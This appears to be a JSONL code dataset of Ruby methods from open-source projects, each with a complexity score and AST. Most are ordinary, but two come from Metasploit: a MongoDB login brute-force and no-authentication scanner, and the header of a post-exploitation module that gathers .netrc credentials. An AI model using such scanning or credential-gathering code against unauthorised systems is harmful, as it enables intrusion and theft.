{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/common/attributes_table_styles.rb","start_line":63,"raw_source":"def wp_attributes_table_label_cell\n    wp_attributes_table_cell.merge(\n      resolve_table_cell(@styles.dig(:work_package, :attributes_table, :cell_label))\n    )\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"wp_attributes_table_label_cell\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wp_attributes_table_cell\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"resolve_table_cell\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@styles\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"work_package\"]},{\"type\":\"sym\",\"children\":[\"attributes_table\"]},{\"type\":\"sym\",\"children\":[\"cell_label\"]}]}]}]}]}","id":"5515ddae-945f-442f-9abf-e3106e743e35"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/winsvc.rb","start_line":102,"raw_source":"def repeat_set_event_several_times_until_success(event_name)\n      retries = 0\n      max_retries = 10\n      delay_sec = 3\n\n      begin\n        set_event(event_name)\n      rescue Errno::ENOENT\n        # This error occurs when the supervisor process has not yet created the event.\n        # If STOP is immediately executed, this state will occur.\n        # Retry `set_event' to wait for the initialization of the supervisor.\n        retries += 1\n        raise if max_retries < retries\n        sleep(delay_sec)\n        retry\n      end\n    end","complexity_score":12.63,"ast_json":"{\"type\":\"def\",\"children\":[\"repeat_set_event_several_times_until_success\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"retries\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"max_retries\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"lvasgn\",\"children\":[\"delay_sec\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_event\",{\"type\":\"lvar\",\"children\":[\"event_name\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ENOENT\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"retries\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_retries\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"retries\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]},null]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"lvar\",\"children\":[\"delay_sec\"]}]},{\"type\":\"retry\",\"children\":[]}]}]},null]}]}]}]}","id":"16fca020-9edb-40d8-bfb2-7090fa4fc7d1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/mongodb/mongodb_login.rb","start_line":43,"raw_source":"def run_host(ip)\n    print_status(\"Scanning IP: #{ip.to_s}\")\n    begin\n      connect\n      if require_auth?\n        each_user_pass { |user, pass|\n          do_login(user, pass)\n        }\n      else\n        report_vuln(\n          :host => rhost,\n          :port => rport,\n          :name => \"MongoDB No Authentication\",\n          :refs => self.references,\n          :exploited_at => Time.now.utc,\n          :info => \"Mongo server has no authentication.\"\n        )\n        print_good(\"Mongo server #{ip.to_s} doesn't use authentication\")\n      end\n      disconnect\n    rescue ::Exception => e\n      print_error \"Unable to connect: #{e.to_s}\"\n      return\n    end\n  end","complexity_score":28.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Scanning IP: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]},\"to_s\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_auth?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_user_pass\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"pass\"]}]},{\"type\":\"send\",\"children\":[null,\"do_login\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report_vuln\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"MongoDB No Authentication\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"refs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"references\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exploited_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"str\",\"children\":[\"Mongo server has no authentication.\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Mongo server \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]},\"to_s\"]}]},{\"type\":\"str\",\"children\":[\" doesn't use authentication\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to connect: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},null]}]}]}]}","id":"15c0ee86-ad5a-4877-9c3f-7d722a723b8a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/mysql/schema_statements.rb","start_line":258,"raw_source":"def add_options_for_index_columns(quoted_columns, **options)\n            quoted_columns = add_index_length(quoted_columns, **options)\n            super\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_options_for_index_columns\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"quoted_columns\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"quoted_columns\",{\"type\":\"send\",\"children\":[null,\"add_index_length\",{\"type\":\"lvar\",\"children\":[\"quoted_columns\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"62344fbe-8961-4897-b425-5c6bb4edc82e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/netrc_creds.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'UNIX Gather .netrc Credentials',\n        'Description' => %q{\n          Post Module to obtain credentials saved for FTP and other services in .netrc\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'Jon Hart <jhart[at]spoofed.org>' ],\n        'Platform' => %w[bsd linux osx unix],\n        'SessionTypes' => [ 'shell' ],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"UNIX Gather .netrc Credentials\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Post Module to obtain credentials saved for FTP and other services in .netrc\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Jon Hart <jhart[at]spoofed.org>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"bsd\"]},{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"osx\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]}","id":"01e8921b-63ca-481c-9c7b-457680ee6cc5"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision_virt_workflow.rb","start_line":509,"raw_source":"def find_first_ou(hous, path = nil)\n    if hous.key?(:ou)\n      find_first_ou(hous[key], path)\n    else\n      key = hous.keys.first\n      if hous[key].key?(:ou)\n        return hous, path\n      else\n        path = path.nil? ? key : \"#{path} / #{key}\"\n        find_first_ou(hous[key], path)\n      end\n    end\n  end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"find_first_ou\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hous\"]},{\"type\":\"optarg\",\"children\":[\"path\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hous\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"ou\"]}]},{\"type\":\"send\",\"children\":[null,\"find_first_ou\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hous\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"key\"]}]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hous\"]},\"keys\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hous\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"key?\",{\"type\":\"sym\",\"children\":[\"ou\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hous\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"nil?\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" / \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"find_first_ou\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hous\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}]}","id":"d8784717-9782-4f09-ab0e-5da234e3f24f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/composer/create_package_service.rb","start_line":29,"raw_source":"def composer_json\n        ::Packages::Composer::ComposerJsonService.new(project, target).execute\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"composer_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Composer\"]},\"ComposerJsonService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"target\"]}]},\"execute\"]}]}","id":"fe20cb31-91a6-467f-b2fb-ce47dd55596f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/header.rb","start_line":679,"raw_source":"def nsCount=(val)\n        if (0..65535).include? val\n          @nsCount = val\n        else\n          raise HeaderWrongCount, \"Wrong number of count (#{val}), must be 0-65535\"\n        end\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"nsCount=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[65535]}]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@nsCount\",{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"HeaderWrongCount\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Wrong number of count (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"str\",\"children\":[\"), must be 0-65535\"]}]}]}]}]}","id":"360752d1-89d4-48cb-b007-e42ea55f71f7"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/comment_config.rb","start_line":124,"raw_source":"def analyze_cop(analysis, directive)\n      # Disabling cops after comments like `#=SomeDslDirective` does not related to single line\n      if !comment_only_line?(directive.line_number) || directive.single_line?\n        analyze_single_line(analysis, directive)\n      elsif directive.disabled?\n        analyze_disabled(analysis, directive)\n      else\n        analyze_rest(analysis, directive)\n      end\n    end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"analyze_cop\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"analysis\"]},{\"type\":\"arg\",\"children\":[\"directive\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"comment_only_line?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directive\"]},\"line_number\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directive\"]},\"single_line?\"]}]},{\"type\":\"send\",\"children\":[null,\"analyze_single_line\",{\"type\":\"lvar\",\"children\":[\"analysis\"]},{\"type\":\"lvar\",\"children\":[\"directive\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directive\"]},\"disabled?\"]},{\"type\":\"send\",\"children\":[null,\"analyze_disabled\",{\"type\":\"lvar\",\"children\":[\"analysis\"]},{\"type\":\"lvar\",\"children\":[\"directive\"]}]},{\"type\":\"send\",\"children\":[null,\"analyze_rest\",{\"type\":\"lvar\",\"children\":[\"analysis\"]},{\"type\":\"lvar\",\"children\":[\"directive\"]}]}]}]}]}","id":"0aa3ba38-8994-4752-aa29-b4720c2cdbd6"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/homepage/fetch_tag_flares.rb","start_line":5,"raw_source":"def self.call(articles)\n      flares = articles_tag_flares(articles)\n\n      tags = Tag.where(name: flares.keys).select(*ATTRIBUTES).index_by(&:name)\n\n      flares.each_with_object({}) do |(tag_name, article_ids), tag_flares|\n        article_ids.each do |article_id|\n          tag_flares[article_id] = tags[tag_name].as_json(only: ATTRIBUTES)\n        end\n      end\n    end","complexity_score":20.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"articles\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"flares\",{\"type\":\"send\",\"children\":[null,\"articles_tag_flares\",{\"type\":\"lvar\",\"children\":[\"articles\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tags\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flares\"]},\"keys\"]}]}]}]},\"select\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ATTRIBUTES\"]}]}]},\"index_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flares\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_name\"]},{\"type\":\"arg\",\"children\":[\"article_ids\"]}]},{\"type\":\"arg\",\"children\":[\"tag_flares\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article_ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"article_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_flares\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"article_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"tag_name\"]}]},\"as_json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"const\",\"children\":[null,\"ATTRIBUTES\"]}]}]}]}]}]}]}]}]}","id":"036199c9-37b0-4c22-9fec-97cb33f7471b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/graphql_helpers.rb","start_line":881,"raw_source":"def a_graphql_entity_for(model = nil, *fields, **attrs)\n    raise ArgumentError, 'model is nil' if model.nil? && fields.any?\n\n    attrs.transform_keys! { GraphqlHelpers.fieldnamerize(_1) }\n    attrs['id'] = global_id_of(model).to_s if model\n    fields.each do |name|\n      attrs[GraphqlHelpers.fieldnamerize(name)] = model.public_send(name)\n    end\n\n    raise ArgumentError, 'no attributes' if attrs.empty?\n\n    UnpackableMatcher.new(attrs)\n  end","complexity_score":24.6,"ast_json":"{\"type\":\"def\",\"children\":[\"a_graphql_entity_for\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"model\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"restarg\",\"children\":[\"fields\"]},{\"type\":\"kwrestarg\",\"children\":[\"attrs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"any?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"model is nil\"]}]},null]},{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"transform_keys!\"]},1,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GraphqlHelpers\"]},\"fieldnamerize\",{\"type\":\"lvar\",\"children\":[\"_1\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"global_id_of\",{\"type\":\"lvar\",\"children\":[\"model\"]}]},\"to_s\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GraphqlHelpers\"]},\"fieldnamerize\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"no attributes\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UnpackableMatcher\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]}]}","id":"437ec59e-41fa-49a2-9628-68c815c6824b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/trace/metrics.rb","start_line":50,"raw_source":"def observe_migration_duration(seconds)\n          self.class.finalize_histogram.observe({}, seconds.to_f)\n        end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"observe_migration_duration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"seconds\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"finalize_histogram\"]},\"observe\",{\"type\":\"hash\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seconds\"]},\"to_f\"]}]}]}","id":"50d15471-245f-40e4-ba0e-0c0f134a5456"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/buffer/file_single_chunk.rb","start_line":161,"raw_source":"def self.unique_id_and_key_from_path(path)\n          base = File.basename(path)\n          res = PATH_REGEXP =~ base\n          return nil unless res\n\n          key = base[4..res - 1] # remove 'fsb.' and '.'\n          hex_id = $2            # remove '.' and '.buf'\n          unique_id = hex_id.scan(/../).map {|x| x.to_i(16) }.pack('C*')\n          [unique_id, key]\n        end","complexity_score":17.33,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"unique_id_and_key_from_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PATH_REGEXP\"]},\"=~\",{\"type\":\"lvar\",\"children\":[\"base\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hex_id\",{\"type\":\"nth_ref\",\"children\":[2]}]},{\"type\":\"lvasgn\",\"children\":[\"unique_id\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex_id\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"to_i\",{\"type\":\"int\",\"children\":[16]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unique_id\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}","id":"9d1889f2-18d4-456d-b527-d79e50295686"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250410032730_add_group_settings_to_application_settings.rb","start_line":9,"raw_source":"def up\n    with_lock_retries do\n      add_column :application_settings, :group_settings, :jsonb, default: {}, null: false\n    end\n\n    add_check_constraint :application_settings, \"(jsonb_typeof(group_settings) = 'object')\", CONSTRAINT_NAME\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"group_settings\"]},{\"type\":\"sym\",\"children\":[\"jsonb\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_check_constraint\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"str\",\"children\":[\"(jsonb_typeof(group_settings) = 'object')\"]},{\"type\":\"const\",\"children\":[null,\"CONSTRAINT_NAME\"]}]}]}]}","id":"c790a7ee-f679-47d1-a45b-299261fc2dac"}
